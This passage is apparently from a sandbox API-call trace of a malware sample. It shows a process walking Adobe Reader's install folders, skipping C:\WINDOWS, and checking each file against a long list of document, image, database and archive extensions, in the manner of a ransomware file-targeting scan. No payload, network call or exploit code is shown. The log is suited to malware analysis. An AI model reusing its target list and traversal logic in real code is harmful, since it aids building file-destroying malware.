(lpString=".asm") returned 4 [0267.108] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.108] lstrlenW (lpString=".asmx") returned 5 [0267.108] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.108] lstrlenW (lpString=".asp") returned 4 [0267.108] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.108] lstrlenW (lpString=".aspx") returned 5 [0267.108] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.108] lstrlenW (lpString=".asr") returned 4 [0267.108] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.108] lstrlenW (lpString=".asx") returned 4 [0267.109] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".avi") returned 4 [0267.109] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".avs") returned 4 [0267.109] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".backup") returned 7 [0267.109] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.109] lstrlenW (lpString=".bak") returned 4 [0267.109] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".bay") returned 4 [0267.109] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".bd") returned 3 [0267.109] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.109] lstrlenW (lpString=".bin") returned 4 [0267.109] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".bmp") returned 4 [0267.109] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".bz2") returned 4 [0267.109] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.109] lstrlenW (lpString=".c") returned 2 [0267.109] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.110] lstrlenW (lpString=".cdr") returned 4 [0267.110] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.110] lstrlenW (lpString=".cer") returned 4 [0267.110] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.110] lstrlenW (lpString=".cf") returned 3 [0267.110] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.110] lstrlenW (lpString=".cfc") returned 4 [0267.110] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.110] lstrlenW (lpString=".cfm") returned 4 [0267.110] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.110] lstrlenW (lpString=".cfml") returned 5 [0267.110] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.110] lstrlenW (lpString=".cfu") returned 4 [0267.110] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.110] lstrlenW (lpString=".chm") returned 4 [0267.110] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.110] lstrlenW (lpString=".cin") returned 4 [0267.110] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".class") returned 6 [0267.111] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.111] lstrlenW (lpString=".clx") returned 4 [0267.111] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".config") returned 7 [0267.111] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.111] lstrlenW (lpString=".cpp") returned 4 [0267.111] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".cr2") returned 4 [0267.111] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".crt") returned 4 [0267.111] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".crw") returned 4 [0267.111] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".cs") returned 3 [0267.111] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.111] lstrlenW (lpString=".css") returned 4 [0267.111] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".csv") returned 4 [0267.111] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".cub") returned 4 [0267.111] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.111] lstrlenW (lpString=".dae") returned 4 [0267.112] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".dat") returned 4 [0267.112] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".db") returned 3 [0267.112] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.112] lstrlenW (lpString=".dbf") returned 4 [0267.112] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".dbx") returned 4 [0267.112] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".dc3") returned 4 [0267.112] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".dcm") returned 4 [0267.112] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".dcr") returned 4 [0267.112] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".der") returned 4 [0267.112] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.112] lstrlenW (lpString=".dib") returned 4 [0267.113] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.113] lstrlenW (lpString=".dic") returned 4 [0267.113] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.113] lstrlenW (lpString=".dif") returned 4 [0267.113] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.113] lstrlenW (lpString=".divx") returned 5 [0267.113] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.113] lstrlenW (lpString=".djvu") returned 5 [0267.113] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.113] lstrlenW (lpString=".dng") returned 4 [0267.113] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.113] lstrlenW (lpString=".doc") returned 4 [0267.113] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.113] lstrlenW (lpString=".docm") returned 5 [0267.113] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.113] lstrlenW (lpString=".docx") returned 5 [0267.113] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.113] lstrlenW (lpString=".dot") returned 4 [0267.113] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.113] lstrlenW (lpString=".dotm") returned 5 [0267.113] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.113] lstrlenW (lpString=".dotx") returned 5 [0267.113] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.113] lstrlenW (lpString=".dpx") returned 4 [0267.113] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".dqy") returned 4 [0267.114] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".dsn") returned 4 [0267.114] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".dt") returned 3 [0267.114] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.114] lstrlenW (lpString=".dtd") returned 4 [0267.114] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".dwg") returned 4 [0267.114] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".dwt") returned 4 [0267.114] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".dx") returned 3 [0267.114] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.114] lstrlenW (lpString=".dxf") returned 4 [0267.114] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".edml") returned 5 [0267.114] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.114] lstrlenW (lpString=".efd") returned 4 [0267.114] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".elf") returned 4 [0267.114] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.114] lstrlenW (lpString=".emf") returned 4 [0267.114] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.115] lstrlenW (lpString=".emz") returned 4 [0267.115] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.115] lstrlenW (lpString=".epf") returned 4 [0267.115] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.115] lstrlenW (lpString=".eps") returned 4 [0267.115] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.115] lstrlenW (lpString=".epsf") returned 5 [0267.115] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.115] lstrlenW (lpString=".epsp") returned 5 [0267.115] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.116] lstrlenW (lpString=".erf") returned 4 [0267.116] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".exr") returned 4 [0267.116] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".f4v") returned 4 [0267.116] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".fido") returned 5 [0267.116] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0267.116] lstrlenW (lpString=".flm") returned 4 [0267.116] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".flv") returned 4 [0267.116] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".frm") returned 4 [0267.116] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".fxg") returned 4 [0267.116] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0267.116] lstrlenW (lpString=".geo") returned 4 [0267.117] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".gif") returned 4 [0267.117] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".grs") returned 4 [0267.117] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".gz") returned 3 [0267.117] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0267.117] lstrlenW (lpString=".h") returned 2 [0267.117] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0267.117] lstrlenW (lpString=".hdr") returned 4 [0267.117] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".hpp") returned 4 [0267.117] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".hta") returned 4 [0267.117] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".htc") returned 4 [0267.117] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".htm") returned 4 [0267.117] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0267.117] lstrlenW (lpString=".html") returned 5 [0267.118] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0267.118] lstrlenW (lpString=".icb") returned 4 [0267.118] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".ics") returned 4 [0267.118] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".iff") returned 4 [0267.118] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".inc") returned 4 [0267.118] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".indd") returned 5 [0267.118] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0267.118] lstrlenW (lpString=".ini") returned 4 [0267.118] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".iqy") returned 4 [0267.118] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".j2c") returned 4 [0267.118] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".j2k") returned 4 [0267.118] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0267.118] lstrlenW (lpString=".java") returned 5 [0267.118] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0267.119] lstrlenW (lpString=".jp2") returned 4 [0267.119] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0267.119] lstrlenW (lpString=".jpc") returned 4 [0267.119] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0267.119] lstrlenW (lpString=".jpe") returned 4 [0267.119] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0267.119] lstrlenW (lpString=".jpeg") returned 5 [0267.119] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0267.119] lstrlenW (lpString=".jpf") returned 4 [0267.119] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0267.119] lstrlenW (lpString=".jpg") returned 4 [0267.119] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0267.119] lstrlenW (lpString=".jpx") returned 4 [0267.119] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0267.119] lstrlenW (lpString=".js") returned 3 [0267.119] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.119] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.119] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0267.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0267.120] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0267.120] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw") returned 106 [0267.120] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw") returned 1 [0267.120] lstrlenW (lpString="zh-tw") returned 5 [0267.120] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-tw") returned -1 [0267.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0267.120] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw") returned 106 [0267.120] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0267.121] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.121] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.121] lstrlenW (lpString="ui-strings.js") returned 13 [0267.121] lstrlenW (lpString=".1cd") returned 4 [0267.121] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.121] lstrlenW (lpString=".3ds") returned 4 [0267.122] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.122] lstrlenW (lpString=".3fr") returned 4 [0267.122] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.122] lstrlenW (lpString=".3g2") returned 4 [0267.122] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.122] lstrlenW (lpString=".3gp") returned 4 [0267.122] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.122] lstrlenW (lpString=".7z") returned 3 [0267.122] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.122] lstrlenW (lpString=".accda") returned 6 [0267.122] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.122] lstrlenW (lpString=".accdb") returned 6 [0267.122] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.122] lstrlenW (lpString=".accdc") returned 6 [0267.122] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.122] lstrlenW (lpString=".accde") returned 6 [0267.123] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.123] lstrlenW (lpString=".accdt") returned 6 [0267.123] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.123] lstrlenW (lpString=".accdw") returned 6 [0267.123] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.123] lstrlenW (lpString=".adb") returned 4 [0267.123] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.123] lstrlenW (lpString=".adp") returned 4 [0267.123] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.123] lstrlenW (lpString=".ai") returned 3 [0267.123] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.123] lstrlenW (lpString=".ai3") returned 4 [0267.123] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.123] lstrlenW (lpString=".ai4") returned 4 [0267.123] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.123] lstrlenW (lpString=".ai5") returned 4 [0267.123] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".ai6") returned 4 [0267.124] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".ai7") returned 4 [0267.124] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".ai8") returned 4 [0267.124] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".anim") returned 5 [0267.124] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.124] lstrlenW (lpString=".arw") returned 4 [0267.124] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".as") returned 3 [0267.124] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.124] lstrlenW (lpString=".asa") returned 4 [0267.124] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".asc") returned 4 [0267.124] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.124] lstrlenW (lpString=".ascx") returned 5 [0267.124] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.125] lstrlenW (lpString=".asm") returned 4 [0267.125] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".asmx") returned 5 [0267.125] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.125] lstrlenW (lpString=".asp") returned 4 [0267.125] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".aspx") returned 5 [0267.125] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.125] lstrlenW (lpString=".asr") returned 4 [0267.125] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".asx") returned 4 [0267.125] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".avi") returned 4 [0267.125] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".avs") returned 4 [0267.125] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".backup") returned 7 [0267.125] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.125] lstrlenW (lpString=".bak") returned 4 [0267.125] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.125] lstrlenW (lpString=".bay") returned 4 [0267.126] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".bd") returned 3 [0267.126] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.126] lstrlenW (lpString=".bin") returned 4 [0267.126] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".bmp") returned 4 [0267.126] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".bz2") returned 4 [0267.126] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".c") returned 2 [0267.126] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.126] lstrlenW (lpString=".cdr") returned 4 [0267.126] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".cer") returned 4 [0267.126] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".cf") returned 3 [0267.126] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.126] lstrlenW (lpString=".cfc") returned 4 [0267.126] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.126] lstrlenW (lpString=".cfm") returned 4 [0267.127] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.127] lstrlenW (lpString=".cfml") returned 5 [0267.127] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.127] lstrlenW (lpString=".cfu") returned 4 [0267.127] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.127] lstrlenW (lpString=".chm") returned 4 [0267.127] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.127] lstrlenW (lpString=".cin") returned 4 [0267.127] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.127] lstrlenW (lpString=".class") returned 6 [0267.127] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.127] lstrlenW (lpString=".clx") returned 4 [0267.127] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.127] lstrlenW (lpString=".config") returned 7 [0267.127] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.127] lstrlenW (lpString=".cpp") returned 4 [0267.127] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.127] lstrlenW (lpString=".cr2") returned 4 [0267.128] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".crt") returned 4 [0267.128] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".crw") returned 4 [0267.128] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".cs") returned 3 [0267.128] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.128] lstrlenW (lpString=".css") returned 4 [0267.128] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".csv") returned 4 [0267.128] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".cub") returned 4 [0267.128] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".dae") returned 4 [0267.128] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".dat") returned 4 [0267.128] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.128] lstrlenW (lpString=".db") returned 3 [0267.128] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.497] lstrlenW (lpString=".dbf") returned 4 [0267.497] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dbx") returned 4 [0267.497] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dc3") returned 4 [0267.497] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dcm") returned 4 [0267.497] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dcr") returned 4 [0267.497] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".der") returned 4 [0267.497] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dib") returned 4 [0267.497] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dic") returned 4 [0267.497] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.497] lstrlenW (lpString=".dif") returned 4 [0267.497] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.498] lstrlenW (lpString=".divx") returned 5 [0267.498] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.498] lstrlenW (lpString=".djvu") returned 5 [0267.498] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.498] lstrlenW (lpString=".dng") returned 4 [0267.498] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.498] lstrlenW (lpString=".doc") returned 4 [0267.498] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.498] lstrlenW (lpString=".docm") returned 5 [0267.498] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.498] lstrlenW (lpString=".docx") returned 5 [0267.498] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.498] lstrlenW (lpString=".dot") returned 4 [0267.498] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.498] lstrlenW (lpString=".dotm") returned 5 [0267.498] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.498] lstrlenW (lpString=".dotx") returned 5 [0267.498] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.498] lstrlenW (lpString=".dpx") returned 4 [0267.498] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.498] lstrlenW 